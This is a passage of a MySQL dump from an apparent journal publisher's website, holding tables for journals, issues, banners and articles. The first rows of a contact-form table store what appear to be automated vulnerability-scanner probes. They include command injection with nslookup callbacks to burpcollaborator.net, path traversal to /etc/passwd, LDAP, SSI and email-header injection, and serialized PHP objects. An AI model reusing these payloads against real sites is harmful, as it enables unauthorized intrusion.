17:09:10'),(335,'Peter}}qf4h8\'/\"&lt;zrz9a','Winter','winter@example.com','555-555-0199','','2019-03-24 17:09:12'),(336,'Peter%}y1jax\'/\"&lt;t8jw4','Winter','winter@example.com','555-555-0199','','2019-03-24 17:09:14'),(337,'Peterk8qy7%>npp2t\'/\"&lt;pz9ig','Winter','winter@example.com','555-555-0199','','2019-03-24 17:09:16'),(338,'Peter\'+sleep(20.to_i)+\'','Winter','winter@example.com','555-555-0199','','2019-03-24 17:09:17'),(339,'Peter\'+eval&#40;compile(\'for x in range(1&#41;:\\n import time\\n time.sleep(20)\',\'a\',\'single\'))+\'','Winter','winter@example.com','555-555-0199','','2019-03-24 17:09:18'),(340,'eval&#40;compile(\'for x in range(1&#41;:\\n import time\\n time.sleep(20)\',\'a\',\'single\'))','Winter','winter@example.com','555-555-0199','','2019-03-24 17:09:19'),(341,'Peter\'.sleep(20).\'','Winter','winter@example.com','555-555-0199','','2019-03-24 17:09:21'),(342,'Peter{${sleep(20)}}','Winter','winter@example.com','555-555-0199','','2019-03-24 17:09:23'),(343,'Peter|nslookup -q=cname 4qvl7702wvdetdl8zt39vyfzcqih6du5hv5k.burpcollaborator.net.&','Winter','winter@example.com','555-555-0199','','2019-03-24 17:11:28'),(344,'Peter\'\"`0&nslookup -q=cname onf54rxmtfayqxiswd0tsicj9af13yrqeg25.burpcollaborator.net.&`\'','Winter','winter@example.com','555-555-0199','','2019-03-24 17:11:31'),(345,'Peter&nslookup -q=cname zqtg720xwqd9t8l3zo34vtfuclic67uzhp5e.burpcollaborator.net.&\'\\\"`0&nslookup -q=cname zqtg720xwqd9t8l3zo34vtfuclic67uzhp5e.burpcollaborator.net.&`\'','Winter','winter@example.com','555-555-0199','','2019-03-24 17:11:33'),(346,'Peter|echo t2rgt6hp5w r8y7jr09ev||a #\' |echo t2rgt6hp5w r8y7jr09ev||a #|\" |echo t2rgt6hp5w r8y7jr09ev||a #','Winter','winter@example.com','555-555-0199','','2019-03-24 17:11:36'),(347,'Peter&echo 28iihp2szb mhzig8m75d&','Winter','winter@example.com','555-555-0199','','2019-03-24 17:11:36'),(348,'Peter\"|echo 3x336ecafl d4xxu7wo09 ||','Winter','winter@example.com','555-555-0199','','2019-03-24 17:11:38'),(349,'Peter\'|echo jay7tyxuhx 9i5cqdvst7 #xzwx','Winter','winter@example.com','555-555-0199','','2019-03-24 17:11:38'),(350,'Peter|ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\' |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\\\" |ping -n 21 127.0.0.1','Winter','winter@example.com','555-555-0199','','2019-03-24 17:11:39'),(351,'Peter|ping -c 21 127.0.0.1||x','Winter','winter@example.com','555-555-0199','','2019-03-24 17:11:41'),(352,'Peter&ping -n 21 127.0.0.1&','Winter','winter@example.com','555-555-0199','','2019-03-24 17:11:42'),(353,'Peter\'|ping -c 21 127.0.0.1 #','Winter','winter@example.com','555-555-0199','','2019-03-24 17:11:43'),(354,'..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini','Winter','winter@example.com','555-555-0199','','2019-03-24 17:13:46'),(355,'c:\\windows\\win.ini','Winter','winter@example.com','555-555-0199','','2019-03-24 17:13:47'),(356,'Peter..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini','Winter','winter@example.com','555-555-0199','','2019-03-24 17:13:48'),(357,'..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.iniPeter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:13:50'),(358,'../../../../../../../../../../../../../../../../etc/passwd','Winter','winter@example.com','555-555-0199','','2019-03-24 17:13:51'),(359,'/etc/passwd','Winter','winter@example.com','555-555-0199','','2019-03-24 17:13:53'),(360,'Peter../../../../../../../../../../../../../../../../etc/passwd','Winter','winter@example.com','555-555-0199','','2019-03-24 17:13:54'),(361,'../../../../../../../../../../../../../../../../etc/passwdPeter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:13:55'),(362,'.../Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:13:56'),(363,'o4s2kq0z1i)(objectClass=*','Winter','winter@example.com','555-555-0199','','2019-03-24 17:13:58'),(364,'6ffnaq55v6)(!(objectClass=*)','Winter','winter@example.com','555-555-0199','','2019-03-24 17:14:00'),(365,'*)(objectClass=*','Winter','winter@example.com','555-555-0199','','2019-03-24 17:14:02'),(366,'*)(!(objectClass=*)','Winter','winter@example.com','555-555-0199','','2019-03-24 17:14:04'),(367,'<sys xss=removed xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://a.b/ http://kh51ynrinb4uktcoq9upme6f369xxxlp8fw4.burpcollaborator.net/sys.xsd\">sys</sys>','Winter','winter@example.com','555-555-0199','','2019-03-24 17:14:05'),(368,'Peter\'+(function(){if(typeof vb2q4===\"undefined\"){var a=new Date();do{var b=new Date();}while(b-a&lt;20000);vb2q4=1;}}())+\'','Winter','winter@example.com','555-555-0199','','2019-03-24 17:16:11'),(369,'\"--&gt;\'--&gt;`--&gt;&lt;!--#set var=\"6uq\" value=\"5tpma833zw\"--&gt;&lt;!--#set var=\"8ws\" value=\"7vroca551y\"--&gt;&lt;!--#echo var=\"6uq\"--&gt;&lt;!--#echo var=\"8ws\"--&gt;&lt;!--#exec cmd=\"nslookup -q=cname sgc9xvqqmj32j1bwphtxlm5n2e85wxulm8cw1.burpcol','Winter','winter@example.com','555-555-0199','','2019-03-24 17:16:13'),(370,'Peter\r\nBCC:fdwwuindj60pgo8jm4qki92az15stkm8ev4jt@burpcollaborator.net\r\nmad: z','Winter','winter@example.com','555-555-0199','','2019-03-24 17:16:16'),(371,'Peter>\r\nBCC:oxp5er7m3fky0xss6dat2imjjap1dt7hz4pse@burpcollaborator.net\r\nbed: l','Winter','winter@example.com','555-555-0199','','2019-03-24 17:16:17'),(372,'','','','','','2019-03-24 17:16:19'),(373,'O:3:\"PDO\":0:{}','Winter','winter@example.com','555-555-0199','','2019-03-24 17:16:21'),(374,'TzozOiJQRE8iOjA6e30=','Winter','winter@example.com','555-555-0199','','2019-03-24 17:16:23'),(375,'Peter','k5dkm583e6','winter@example.com','555-555-0199','','2019-03-24 17:16:24'),(376,'Peter','Winter','winter@example.com','t5jf3hhdm8','','2019-03-24 17:18:44'),(377,'Peter','Winter','winter@example.com','555-555-0199rdqotd2m5o','','2019-03-24 17:18:49'),(378,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:20:56'),(379,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:20:59'),(380,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:21:01'),(381,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:21:03'),(382,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:21:06'),(383,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:23:13'),(384,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:23:15'),(385,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:23:19'),(386,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:23:22'),(387,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:23:26'),(388,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:23:30'),(389,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:23:32'),(390,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:23:33'),(391,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:25:38'),(392,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:25:41'),(393,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:25:44'),(394,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:25:53'),(395,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:25:56'),(396,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:25:59'),(397,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:26:01'),(398,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:28:21'),(399,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:28:22'),(400,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:28:24'),(401,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:30:30'),(402,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:30:32'),(403,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:30:36'),(404,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:30:37'),(405,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:30:39'),(406,'Peter','Winter','winter@example.com','555-555-0199','','2019-03-24 17:30:44'),(407,'Jamie','Butler','noreply@allincludedhosting8173.cat','1-855-214-0972','Hi,\r\n\r\nI\'ve just checked your website grfpublishers.com and noticed that it\'s terribly slow...\r\n\r\nWe are offering an all included cloud hosting package (30-day free trial/free migration), fast and secure, and I\'m 100% sure it will fit your needs.\r\n\r\n','2019-03-25 05:51:05'),(408,'','','','','','2019-03-27 04:47:27');

/*Table structure for table `country_list` */

DROP TABLE IF EXISTS `country_list`;

CREATE TABLE `country_list` (
  `c_id` int(11) NOT NULL AUTO_INCREMENT,
  `country_name` varchar(250) DEFAULT NULL,
  `status` int(11) DEFAULT NULL,
  `create_at` datetime DEFAULT NULL,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`c_id`)
) ENGINE=InnoDB AUTO_INCREMENT=10 DEFAULT CHARSET=latin1;

/*Data for the table `country_list` */

insert  into `country_list`(`c_id`,`country_name`,`status`,`create_at`,`create_by`) values (5,'Taiwan',1,'2018-08-04 21:29:41',1),(6,'Syria',1,'2018-08-04 21:33:49',1),(8,'North Africa',1,'2018-08-07 13:04:31',1),(9,'Korea',1,'2018-08-28 12:21:14',1);

/*Table structure for table `faqs` */

DROP TABLE IF EXISTS `faqs`;

CREATE TABLE `faqs` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `question` varchar(250) DEFAULT NULL,
  `description` varchar(250) DEFAULT NULL,
  `status` varchar(250) DEFAULT NULL,
  `create_at` datetime DEFAULT NULL,
  `update_at` datetime DEFAULT NULL,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

/*Data for the table `faqs` */

/*Table structure for table `grf_conference_flyers` */

DROP TABLE IF EXISTS `grf_conference_flyers`;

CREATE TABLE `grf_conference_flyers` (
  `f_id` int(11) NOT NULL AUTO_INCREMENT,
  `title` varchar(250) DEFAULT NULL,
  `title_color` varchar(250) DEFAULT NULL,
  `fly_image` varchar(250) DEFAULT NULL,
  `fly_org_image` varchar(250) DEFAULT NULL,
  `status` int(11) DEFAULT '1',
  `create_at` datetime DEFAULT NULL,
  `create_by` int(11) DEFAULT NULL,
  `update_at` datetime DEFAULT NULL,
  PRIMARY KEY (`f_id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

/*Data for the table `grf_conference_flyers` */

/*Table structure for table `grf_conference_images` */

DROP TABLE IF EXISTS `grf_conference_images`;

CREATE TABLE `grf_conference_images` (
  `f_id` int(11) NOT NULL AUTO_INCREMENT,
  `title` varchar(250) DEFAULT NULL,
  `title_color` varchar(250) DEFAULT NULL,
  `fly_image` varchar(250) DEFAULT NULL,
  `fly_org_image` varchar(250) DEFAULT NULL,
  `status` int(11) DEFAULT '1',
  `create_at` datetime DEFAULT NULL,
  `create_by` int(11) DEFAULT NULL,
  `update_at` datetime DEFAULT NULL,
  PRIMARY KEY (`f_id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

/*Data for the table `grf_conference_images` */

/*Table structure for table `grf_flyers` */

DROP TABLE IF EXISTS `grf_flyers`;

CREATE TABLE `grf_flyers` (
  `f_id` int(11) NOT NULL AUTO_INCREMENT,
  `journal_id` int(11) DEFAULT NULL,
  `journal_cat_id` int(11) DEFAULT NULL,
  `title` varchar(250) DEFAULT NULL,
  `title_color` varchar(250) DEFAULT NULL,
  `fly_image` varchar(250) DEFAULT NULL,
  `fly_org_image` varchar(250) DEFAULT NULL,
  `status` int(11) DEFAULT '1',
  `create_at` datetime DEFAULT NULL,
  `create_by` int(11) DEFAULT NULL,
  `update_at` datetime DEFAULT NULL,
  PRIMARY KEY (`f_id`)
) ENGINE=InnoDB AUTO_INCREMENT=19 DEFAULT CHARSET=latin1;

/*Data for the table `grf_flyers` */

insert  into `grf_flyers`(`f_id`,`journal_id`,`journal_cat_id`,`title`,`title_color`,`fly_image`,`fly_org_image`,`status`,`create_at`,`create_by`,`update_at`) values (15,33,20,'Open Access Journal of Endocrinology Disorders','Open Access Journal of Endocrinology Disorders','1540273339.jpg','Open Access Journal of Endocrinology Disorders.jpg',1,'2018-10-23 11:12:18',1,NULL),(16,27,20,'Journal of Biomarker Research and Studies','Journal of Biomarker Research and Studies','1540273377.jpg','Journal of Biomarker Research and Studies.jpg',1,'2018-10-23 11:12:56',1,NULL),(17,32,20,'Journal of Urology and Renal Problems','Journal of Urology and Renal Problems','1540273419.jpg','Journal of Urology and Renal Problems.jpg',1,'2018-10-23 11:13:38',1,NULL),(18,31,20,'Journal of Sports Science and Physical Therapy','Journal of Sports Science and Physical Therapy','1540273462.jpg','Journal of Sports Science and Physical Therapy.jpg',1,'2018-10-23 11:14:22',1,NULL);

/*Table structure for table `grf_journal_category` */

DROP TABLE IF EXISTS `grf_journal_category`;

CREATE TABLE `grf_journal_category` (
  `c_id` int(11) NOT NULL AUTO_INCREMENT,
  `category` varchar(250) DEFAULT NULL,
  `seo_title` varchar(250) DEFAULT NULL,
  `seo_url` varchar(250) DEFAULT NULL,
  `seo_keyword` varchar(250) DEFAULT NULL,
  `description` text,
  `status` int(11) DEFAULT '1',
  `create_at` datetime DEFAULT NULL,
  `update_at` datetime DEFAULT NULL,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`c_id`)
) ENGINE=InnoDB AUTO_INCREMENT=25 DEFAULT CHARSET=latin1;

/*Data for the table `grf_journal_category` */

insert  into `grf_journal_category`(`c_id`,`category`,`seo_title`,`seo_url`,`seo_keyword`,`description`,`status`,`create_at`,`update_at`,`create_by`) values (20,'Medical','Medical','Medical','Medical','Medical',1,'2018-06-22 22:51:30',NULL,1),(21,'Pharmaceutial','Pharmaceutial','Pharmaceutial','Pharmaceutial','Pharmaceutial',1,'2018-06-22 22:51:46',NULL,1),(22,'Clinical','Clinical','Clinical','Clinical','Clinical',1,'2018-06-22 22:51:59',NULL,1),(23,'Engineering','Engineering','Engineering','Engineering','Engineering',1,'2018-06-22 22:52:12',NULL,1),(24,'Basic-Sciences','Basic-Sciences','Basic-Sciences','Basic-Sciences','Basic-Sciences',1,'2018-06-22 22:52:27',NULL,1);

/*Table structure for table `guidelines` */

DROP TABLE IF EXISTS `guidelines`;

CREATE TABLE `guidelines` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `pagename` varchar(250) DEFAULT NULL,
  `title` varchar(250) DEFAULT NULL,
  `description` varchar(250) DEFAULT NULL,
  `seo_title` varchar(250) DEFAULT NULL,
  `seo_url` varchar(250) DEFAULT NULL,
  `seo_keyword` varchar(250) DEFAULT NULL,
  `seo_description` varchar(250) DEFAULT NULL,
  `status` varchar(250) DEFAULT NULL,
  `create_at` datetime DEFAULT NULL,
  `update_at` datetime DEFAULT NULL,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

/*Data for the table `guidelines` */

/*Table structure for table `home_banners` */

DROP TABLE IF EXISTS `home_banners`;

CREATE TABLE `home_banners` (
  `b_id` int(11) NOT NULL AUTO_INCREMENT,
  `title` text,
  `image` varchar(250) DEFAULT NULL,
  `org_image` varchar(250) DEFAULT NULL,
  `status` int(11) DEFAULT '1',
  `create_at` datetime DEFAULT NULL,
  `update_at` datetime DEFAULT NULL,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`b_id`)
) ENGINE=InnoDB AUTO_INCREMENT=56 DEFAULT CHARSET=latin1;

/*Data for the table `home_banners` */

insert  into `home_banners`(`b_id`,`title`,`image`,`org_image`,`status`,`create_at`,`update_at`,`create_by`) values (50,'Emerging Infectious Diseases and Diagnosis Journal','1551559553.jpg','1.jpg',1,'2019-03-03 02:15:53','2019-03-03 02:15:53',1),(51,'Journal of Pain Management and Anesthesiology','1551559603.jpg','1.jpg',1,'2019-03-03 02:16:42','2019-03-03 02:16:42',1),(52,'Journal of Addiction Research and Drug Abuse','1551559639.jpg','1.jpg',1,'2019-03-03 02:17:19','2019-03-03 02:17:19',1),(53,'Ophthalmology and Eye Research Journal','1551559689.jpg','2.jpg',1,'2019-03-03 02:18:09','2019-03-03 02:18:09',1),(54,'Advances of Otolaryngology and Rhinology Research','1551559759.jpg','1.jpg',1,'2019-03-03 02:19:19','2019-03-03 02:19:19',1),(55,'Current Trends in Biotechnology and Biochemistry','1552141937.jpg','botony-colleges-in-dehradun-botony-courses-in-dehradun-uttarakhand.jpg',1,'2019-03-09 20:02:17','2019-03-09 20:02:17',1);

/*Table structure for table `home_scroll` */

DROP TABLE IF EXISTS `home_scroll`;

CREATE TABLE `home_scroll` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `scroll_content` text,
  `status` int(11) DEFAULT NULL,
  `create_at` datetime DEFAULT NULL,
  `update_at` datetime DEFAULT NULL,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;

/*Data for the table `home_scroll` */

insert  into `home_scroll`(`id`,`scroll_content`,`status`,`create_at`,`update_at`,`create_by`) values (1,'Do research. Feed your talent. Research not only wins the war on cliche, it\'s the key to victory over fear and it\'s cousin, depression.\r\n? Robert McKee\r\n\r\n',1,'2018-06-26 07:19:53','2018-06-28 21:36:04',1);

/*Table structure for table `index_banners` */

DROP TABLE IF EXISTS `index_banners`;

CREATE TABLE `index_banners` (
  `b_id` int(11) NOT NULL AUTO_INCREMENT,
  `title` text,
  `image` varchar(250) DEFAULT NULL,
  `org_image` varchar(250) DEFAULT NULL,
  `status` int(11) DEFAULT '1',
  `create_at` datetime DEFAULT NULL,
  `update_at` datetime DEFAULT NULL,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`b_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

/*Data for the table `index_banners` */

/*Table structure for table `indexing` */

DROP TABLE IF EXISTS `indexing`;

CREATE TABLE `indexing` (
  `i_id` int(11) NOT NULL AUTO_INCREMENT,
  `image` varchar(250) DEFAULT NULL,
  `img_url` varchar(250) DEFAULT NULL,
  `org_img_name` varchar(250) DEFAULT NULL,
  `status` int(11) DEFAULT '1',
  `create_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `update_at` timestamp NULL DEFAULT NULL,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`i_id`)
) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=latin1;

/*Data for the table `indexing` */

insert  into `indexing`(`i_id`,`image`,`img_url`,`org_img_name`,`status`,`create_at`,`update_at`,`create_by`) values (1,'1553605075.jpg','','111.jpg',1,'2019-03-28 05:03:13','0000-00-00 00:00:00',1),(4,'1553604999.jpg','','11.jpg',1,'2019-03-26 18:26:39',NULL,1),(5,'1553605005.jpg','','22.jpg',1,'2019-03-26 18:26:45',NULL,1),(6,'1553605014.jpg','','33.jpg',1,'2019-03-26 18:26:53',NULL,1),(7,'1553605022.jpg','','44.jpg',1,'2019-03-26 18:27:02',NULL,1),(8,'1553605029.jpg','','55.jpg',1,'2019-03-26 18:27:09',NULL,1),(10,'1553605045.jpg','','77.jpg',1,'2019-03-26 18:27:24',NULL,1),(11,'1553605055.png','','88.png',1,'2019-03-26 18:27:34',NULL,1),(12,'1553605065.jpeg','','99.jpeg',1,'2019-03-26 18:27:44',NULL,1);

/*Table structure for table `issue_wise_article_list` */

DROP TABLE IF EXISTS `issue_wise_article_list`;

CREATE TABLE `issue_wise_article_list` (
  `issue_a_id` int(11) NOT NULL AUTO_INCREMENT,
  `i_a_id` int(11) DEFAULT NULL,
  `article_id` int(11) DEFAULT NULL,
  `status` int(11) DEFAULT '1',
  `create_at` datetime DEFAULT NULL,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`issue_a_id`)
) ENGINE=InnoDB AUTO_INCREMENT=135 DEFAULT CHARSET=latin1;

/*Data for the table `issue_wise_article_list` */

insert  into `issue_wise_article_list`(`issue_a_id`,`i_a_id`,`article_id`,`status`,`create_at`,`create_by`) values (100,11,4,1,'2018-10-27 20:59:47',1),(101,11,5,1,'2018-10-27 20:59:47',1),(102,11,12,1,'2018-10-27 20:59:47',1),(103,11,14,1,'2018-10-27 20:59:47',1),(104,11,15,1,'2018-10-27 20:59:47',1),(113,12,16,1,'2018-10-29 15:12:59',1),(114,12,17,1,'2018-10-29 15:12:59',1),(115,12,18,1,'2018-10-29 15:12:59',1),(116,12,19,1,'2018-10-29 15:12:59',1),(117,12,20,1,'2018-10-29 15:12:59',1),(124,17,21,1,'2019-01-10 19:38:20',1),(125,17,29,1,'2019-01-10 19:38:20',1),(126,18,26,1,'2019-01-10 19:40:12',1),(127,19,2,1,'2019-01-10 19:42:34',1),(128,20,3,1,'2019-01-10 19:43:53',1),(129,20,22,1,'2019-01-10 19:43:53',1),(130,20,23,1,'2019-01-10 19:43:53',1),(131,21,25,1,'2019-01-10 19:45:11',1),(132,22,1,1,'2019-01-10 19:46:57',1),(133,23,24,1,'2019-01-10 19:51:51',1),(134,23,27,1,'2019-01-10 19:51:51',1);

/*Table structure for table `issues` */

DROP TABLE IF EXISTS `issues`;

CREATE TABLE `issues` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `number` varchar(250) DEFAULT NULL,
  `image` varchar(250) DEFAULT NULL,
  `journal_cat_id` varchar(250) DEFAULT NULL,
  `journal_id` varchar(250) DEFAULT NULL,
  `year` varchar(250) DEFAULT NULL,
  `status` int(11) DEFAULT NULL,
  `create_at` datetime DEFAULT NULL,
  `update_at` datetime DEFAULT NULL,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=24 DEFAULT CHARSET=latin1;

/*Data for the table `issues` */

insert  into `issues`(`id`,`number`,`image`,`journal_cat_id`,`journal_id`,`year`,`status`,`create_at`,`update_at`,`create_by`) values (11,'1','1540654188.jpg','20','35','2018',1,'2018-10-27 20:59:47','2019-01-07 21:08:31',1),(12,'2','1540654719.jpg','20','35','2018',1,'2018-10-29 15:12:59','2019-01-07 21:08:27',1),(17,'1','1547129300.jpg','20','20','2018',1,'2019-01-10 19:38:20',NULL,1),(18,'1','1547129412.jpg','20','24','2018',1,'2019-01-10 19:40:12',NULL,1),(19,'1','1547129555.jpg','20','30','2018',1,'2019-01-10 19:42:34',NULL,1),(20,'1','1547129634.jpg','20','31','2018',1,'2019-01-10 19:43:53',NULL,1),(21,'1','1547129712.jpg','20','32','2018',1,'2019-01-10 19:45:11',NULL,1),(22,'1','1547129817.jpg','20','34','2018',1,'2019-01-10 19:46:57',NULL,1),(23,'3','1547130111.jpg','20','35','2018',1,'2019-01-10 19:51:51',NULL,1);

/*Table structure for table `journal_article_in_press` */

DROP TABLE IF EXISTS `journal_article_in_press`;

CREATE TABLE `journal_article_in_press` (
  `a_id` int(11) NOT NULL AUTO_INCREMENT,
  `journal_id` int(11) DEFAULT NULL,
  `journal_cat_id` varchar(25) DEFAULT NULL,
  `year_of_article` varchar(250) DEFAULT NULL,
  `title` varchar(250) DEFAULT NULL,
  `author_name` varchar(250) DEFAULT NULL,
  `article_type` varchar(250) DEFAULT NULL,
  `url` varchar(250) DEFAULT NULL,
  `seo_title` varchar(250) DEFAULT NULL,
  `seo_keyword` longtext,
  `seo_description` longtext,
  `research_article` longtext,
  `abstract` longtext,
  `introduction` longtext,
  `references` longtext,
  `figures` longtext,
  `suggested_citation` longtext,
  `tables` longtext,
  `pdf_file` varchar(250) DEFAULT NULL,
  `excel_file` varchar(250) DEFAULT NULL,
  `image` varchar(250) DEFAULT NULL,
  `video` varchar(250) DEFAULT NULL,
  `video_article` int(11) DEFAULT '0',
  `status` int(11) DEFAULT '1',
  `create_at` datetime DEFAULT NULL,
  `update_at` datetime DEFAULT NULL,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`a_id`)
) ENGINE=InnoDB AUTO_INCREMENT=47 DEFAULT CHARSET=latin1;

/*Data for the table `journal_article_in_press` */

insert  into `journal_article_in_press`(`a_id`,`journal_id`,`journal_cat_id`,`year_of_article`,`title`,`author_name`,`article_type`,`url`,`seo_title`,`seo_keyword`,`seo_description`,`research_article`,`abstract`,`introduction`,`references`,`figures`,`suggested_citation`,`tables`,`pdf_file`,`excel_file`,`image`,`video`,`video_article`,`status`,`create_at`,`update_at`,`create_by`) values (1,34,'20','2018','Maintaining Surgical Quality in a Productivity-Driven Reimbursement Environment','Grant Fankhauser*','Editorial','Maintaining-Surgical-Quality-in-a-Productivity-Driven-Reimbursement-Environment','Maintaining Surgical Quality in a Productivity-Driven Reimbursement Environment','Maintaining Surgical Quality in a Productivity-Driven Reimbursement Environment','Maintaining Surgical Quality in a Productivity-Driven Reimbursement Environment','                                                                                                                                                                                                                                                                                                                                                                                                                <p class=\"MsoNormalCxSpFirst\" xss=\"removed\"><b><span xss=\"removed\">Grant\r\nFankhauser<sup>*</sup></span></b></p>\r\n\r\n<p class=\"MsoNormalCxSpMiddle\" xss=\"removed\"><span xss=\"removed\">Department\r\nof Surgery, University of Texas Medical Branch, Texas, USA</span></p>\r\n\r\n<p class=\"MsoNormalCxSpMiddle\" xss=\"removed\"><b><sup><span xss=\"removed\">*</span></sup></b><b><span xss=\"removed\">Corresponding\r\nauthor:</span></b><span xss=\"removed\">\r\nGrant Fankhauser, Department of Surgery, University of Texas Medical Branch,\r\nTexas, USA. Tel: +14097726366; Email: <span xss=\"removed\"><a href=\"mailto:gtfankha@utmb.edu\">gtfankha@utmb.edu</a></span></span></p>\r\n\r\n<p class=\"MsoNormalCxSpMiddle\" xss=\"removed\"><b><span xss=\"removed\">Citation: </span></b><span xss=\"removed\">Frankhauser G<b> </b>(2018) Maintaining Surgical Quality in\r\na Productivity-Driven Reimbursement Environment. J Surg Insights: <span xss=\"removed\">JSUI-001</span>.</span></p>\r\n\r\n<p class=\"MsoNormalCxSpMiddle\" xss=\"removed\"><b><span xss=\"removed\">Received Date: </span></b><span xss=\"removed\">24 May, 2018; <b>Accepted Date: </b>29 May, 2018; <b>Published Date:</b> 07 June, 2018<o></o></span></p>    \r\n            \r\n            \r\n            \r\n            \r\n            \r\n            \r\n            \r\n            \r\n            \r\n        ','                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    \r\n                                                                                        ','                                                                                                                                                                                                                                                                                                                                                                <p class=\"MsoNormalCxSpFirst\" xss=\"removed\" xss=removed><b><span xss=\"removed\">1. Editorial</span></b></p>\r\n\r\n<p class=\"MsoNormalCxSpMiddle\" xss=\"removed\" xss=removed><span xss=\"removed\">Surgeons\r\nin private-practice have long-been compensated based on their productivity and\r\ncollections. Surgeons employed by hospitals or universities have more often\r\nbeen compensated by a salary model. In an effort to encourage productivity,\r\nhospitals are now frequently using a component of productivity in their\r\ncompensation models for surgeons. The most popular measure of productivity is\r\nwork relative value units (wRVUs) .\r\nThe number of wRVUs a surgeon generates is a surrogate for revenue to the\r\nhospital, although many would argue that net collections is more accurate since\r\nit factors payer mix and uncompensated work the surgeon may perform . Still,\r\nthe majority of physician productivity bonuses are based on wRVUs . Hospitals\r\nemploying surgeons may base compensation solely on a surgeon’s productivity or\r\nmay offer financial incentives for reaching certain productivity targets. These\r\nincentives can comprise a considerable amount of the surgeon’s total\r\ncompensation. As more of the focus turns to productivity, quality may receive\r\nlower prioritization.</span></p>\r\n\r\n<p class=\"MsoNormalCxSpMiddle\" xss=\"removed\" xss=removed><b><span xss=\"removed\">1.1 Do productivity\r\nincentives necessarily lead to decreased quality?</span></b></p>\r\n\r\n<p class=\"MsoNormalCxSpMiddle\" xss=\"removed\" xss=removed><span xss=\"removed\">No. Or\r\nat least it is not a certainty. Productivity and quality are not mutually\r\nexclusive .\r\nHigh-volume surgeons can have high-quality results. So true is the converse. However,\r\nwe cannot ignore the reality that when a hospital rewards productivity surgeons\r\nmay prioritize quality a little less in exchange for higher volumes. This shift\r\nof focus is unlikely conscious, but a consistent message from the hospital that\r\nhigher volumes are to be rewarded can push a subtle message that quantity\r\nshould take precedence over quality.</span></p>\r\n\r\n<p class=\"MsoNormalCxSpMiddle\" xss=\"removed\" xss=removed><span xss=\"removed\">What\r\nquality means to a hospital: Hospitals are ranked by various organizations on\r\nnumerous factors. Some rankings are less fact-based and more survey-or\r\npopularity-based (such as US News and World Report and Doximity) . Others are highly data-driven and pay close\r\nattention to outcomes (such as Vizient, Leapfrog, and the National Surgical\r\nQuality Improvement Project) . Payers\r\nare also focusing more on quality. The Centers for Medicare and Medicaid\r\nServices (CMS) has already instituted quality payment programs such as the\r\nMerit Based Incentive Payments System .\r\nThe results of these ranking and reimbursement programs is a better-informed\r\npatient population when it comes to quality, as well as an environment where\r\nhigh-quality results are rewarded and low-quality results face economic\r\nconsequences</span></p>\r\n\r\n<p class=\"MsoNormalCxSpMiddle\" xss=\"removed\" xss=removed><b><span 